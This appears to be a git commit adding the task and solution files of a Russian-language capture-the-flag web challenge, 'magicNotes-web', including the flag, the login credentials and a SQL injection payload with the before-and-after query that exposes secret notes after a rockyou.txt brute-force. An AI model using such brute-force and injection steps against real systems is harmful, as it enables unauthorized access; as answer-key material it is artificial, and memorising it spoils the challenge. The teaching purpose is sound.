Init. import
This commit is contained in:
8
magicNotes-web/README.md
Normal file
8
magicNotes-web/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
|
||||
## Информация для участников
|
||||
|
||||
Вы — инженер, прибывший в таинственный город Эхо. Здесь все слова отзываются эхом. Но что, если в городе не существует правил?
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{hidd3n_arcana_fl@g}`
|
||||
33
magicNotes-web/solve/README.md
Normal file
33
magicNotes-web/solve/README.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# Инструкции
|
||||
|
||||
1. Перейдите по адресу `http://<ip>:<port>/`.
|
||||
2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера)
|
||||
3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается.
|
||||
4. Пользователь через неё или по пути `http://<ip>:<port>/api/search?q=<query>` проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя.
|
||||
|
||||
## Ответы
|
||||
|
||||
Логин: harry
|
||||
Пароль: harrypotter
|
||||
Инъекция: '=='')--
|
||||
|
||||
## Вид уязвимости
|
||||
|
||||
Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (`is_secret = false`), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом.
|
||||
|
||||
### Примеры SQL-инъекций
|
||||
|
||||
```sql
|
||||
-- Обычный запрос
|
||||
SELECT id, title, content, created_at, author_id FROM notes
|
||||
WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
|
||||
ORDER BY created_at DESC
|
||||
|
||||
-- Инъекция для получения всех записей
|
||||
'=='')--
|
||||
|
||||
-- Результирующий запрос:
|
||||
SELECT id, title, content, created_at, author_id FROM notes
|
||||
WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
|
||||
ORDER BY created_at DESC
|
||||
```
|
||||
Reference in New Issue
Block a user